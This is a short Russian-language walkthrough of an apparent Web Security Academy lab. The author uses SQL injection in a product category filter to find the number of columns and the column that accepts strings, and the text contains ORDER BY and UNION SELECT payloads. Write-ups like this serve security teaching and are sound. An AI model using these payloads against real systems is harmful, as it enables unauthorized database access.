В данной лабе есть уязвимый к SQL injection фильтр категории. Нужно найти столбец, в котором используются строки.

https://0ae10098047afc77a0e79a58006d0024.web-security-academy.net/

Solution

Из задания известно, что sqli находится в фильтре категории, поэтому возьму URL и буду работать с ним:

https://0ae10098047afc77a0e79a58006d0024.web-security-academy.net/filter?category=Accessories

Теперь нужно найти обрамление параметра. Предположу, что запрос в БД выглядит следующим образом:

SELECT * FROM table WHERE category = 'Accessories'

Поверю это, передав следующий пейлоад:

Accessories' and false-- -

Товары не отобразились, значит я нашел обрамление.

IMG

Далее найду количество колонок с помощью ORDER BY:

Accessories' ORDER BY 4-- -ошибка
Accessories' ORDER BY 3-- -ОК

Значит в БД 3 колонки. Подставлю UNION, чтобы вывести данные на страницу:

Accessories' UNION SELECT NULL, NULL, NULL-- -ОК

Подставлю свои данные вместо NULL:

Accessories' UNION SELECT NULL, NULL, NULL-- -

Только сейчас заметил, что нужно вывести определенную строку) Ну ок.

IMG

Accessories' UNION SELECT 'xCxqZ9', NULL, NULL-- -ошибка
Accessories' UNION SELECT NULL, 'xCxqZ9', NULL-- -ОК

IMG

Лаба решена:3